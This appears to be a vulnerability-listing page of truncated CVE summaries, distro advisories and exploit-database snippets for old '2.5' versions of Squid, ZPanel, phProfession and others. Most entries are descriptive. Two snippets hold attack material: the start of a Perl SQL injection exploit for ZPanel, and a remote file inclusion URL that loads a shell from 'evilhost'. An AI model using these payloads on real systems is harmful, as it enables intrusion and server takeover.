FlatNuke 2.5.x - index.php?where Full Path Disclosure

FlatNuke 2.5.x - index.php?where Full Path Disclosure source: https://www.securityfocus.com/bid/13882/info Multiple input validation vulnerabilities reportedly affect FlatNuke. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it in...

Fedora Core 3 : squid-2.5.STABLE9-1.FC3.6 (2005-373)

Mon May 16 2005 Jay Fenlason 7:2.5.STABLE9-1.FC3.6 - More upstream patches, including ones for bz157456 CVE-2005-1519 DNS lookups unreliable on untrusted networks bz156162 CVE-1999-0710 cachemgr.cgi access control bypass - The following bugs had already been fixed, but the announcements were lost...

Fedora Core 2 : squid-2.5.STABLE9-1.FC2.2 (2005-275)

Tue Mar 29 2005 Jay Fenlason 7:2.5.STABLE9-1.FC3.2 - more upstream patches - include -libbind patch, to prevent squid from picking up a dependency on libbind. - remove references to /etc/squid/errors, since squid now uses datadir/squid/errors/English by default. overridable in squid.conf - Mark...

ZPanel 2.5b10 - SQL Injection

!/usr/bin/perl use LWP::UserAgent; ZPanel Ver. 2.5- Public BETA 2 Release date: 1/15/2005 sql injection exploit with one char bruteforce work on all mysql versions -------------------------------------------------------- example: r57zpanel.pl http://192.168.0.1/zpanel/index.php admin PATH :...

CVE-2004-1954

Cross-site scripting XSS vulnerability in modules.php in phProfession 2.5 allows remote attackers to inject arbitrary web script or HTML via the jcode parameter...

CVE-2004-1845

News Manager Lite 2.5 is affected by multiple cross-site scripting (XSS) vulnerabilities. An attacker can inject arbitrary script/HTML via specific user-supplied parameters: (1) email in comment_add.asp, (2) search in search.asp, and (3) n in category_news_headline.asp. The CVE entry notes these ...

CVE-2004-1846

CVE-2004-1846 affects News Manager Lite 2.5 with multiple SQL injection flaws allowing remote attackers to execute arbitrary SQL via the (1) ID parameter to more.asp, (2) ID parameter to category_news.asp, or (3) filter parameter to news_sort.asp. The sources provided reiterate this vulnerability...

CVE-2004-1955

The CVE-2004-1955 entry describes a SQL injection in the phProfession 2.5 package, specifically via the offset parameter in modules.php. Affected software: phProfession 2.5; vulnerable component: modules.php. Root cause: improper handling of the offset input enables arbitrary SQL execution by rem...

CVE-2004-1846

Multiple SQL injection vulnerabilities in News Manager Lite 2.5 allow remote attackers to execute arbitrary SQL code via the 1 ID parameter to more.asp, 2 ID parameter to categorynews.asp, or 3 filter parameter to newssort.asp...

CVE-2004-1955

SQL injection vulnerability in modules.php in phProfession 2.5 allows remote attackers to execute arbitrary SQL code via the offset parameter...

CVE-2004-1953

phProfession 2.5 allows remote attackers to gain sensitive information via a direct HTTP request to upload.php, which reveals the path in a PHP error message...

CVE-2004-1954

CVE-2004-1954 affects phProfession 2.5, with a vulnerability in modules.php that allows remote injection of arbitrary script/HTML via the jcode parameter (XSS). The provided documents specify the affected file and parameter but do not include mitigation, patch versions, or concrete exploit detail...

CVE-2003-1164

Removed by vendor...

CVE-2005-0211

Buffer overflow in wccp.c in Squid 2.5 before 2.5.STABLE7 allows remote attackers to cause a denial of service and possibly execute arbitrary code via a long WCCP packet, which is processed by a recvfrom function call that uses an incorrect length parameter...

CVE-2005-0194

Squid 2.5, when processing the configuration file, parses empty Access Control Lists ACLs, including proxyauth ACLs without defined auth schemes, in a way that effectively removes arguments, which could allow remote attackers to bypass intended ACLs if the administrator ignores the parser warning...

CVE-2005-0194

Squid 2.5, when processing the configuration file, parses empty Access Control Lists ACLs, including proxyauth ACLs without defined auth schemes, in a way that effectively removes arguments, which could allow remote attackers to bypass intended ACLs if the administrator ignores the parser warning...

CVE-2005-0211

Buffer overflow in wccp.c in Squid 2.5 before 2.5.STABLE7 allows remote attackers to cause a denial of service and possibly execute arbitrary code via a long WCCP packet, which is processed by a recvfrom function call that uses an incorrect length parameter...

Mandrake Linux Security Advisory : squid (MDKSA-2005:078)

Squid 2.5, when processing the configuration file, parses empty Access Control Lists ACLs, including proxyauth ACLs without defined auth schemes, in a way that effectively removes arguments, which could allow remote attackers to bypass intended ACLs if the administrator ignores the parser warning...

Chatness 2.5 - 'Message Form' HTML Injection

source: https://www.securityfocus.com/bid/12929/info Chatness is prone to an HTML injection vulnerability. This issue is exposed through various chat message form fields. Exploitation will allow an attacker to inject hostile HTML and script code into the session of another user. An attacker could...

ZPanel 2.5 - SQL Injection

Tested and working /str0ke It is possible to include arbitrary file: local - in version ZPanel = 2.5 beta 10, remote - in ZPanel 2.0. exploit for v 2.0 http://localhost/zpanel/zpanel.php?page=http://evilhost/shell where http://evilhost/shell.php - evil php code script exploit for v 2.5 beta...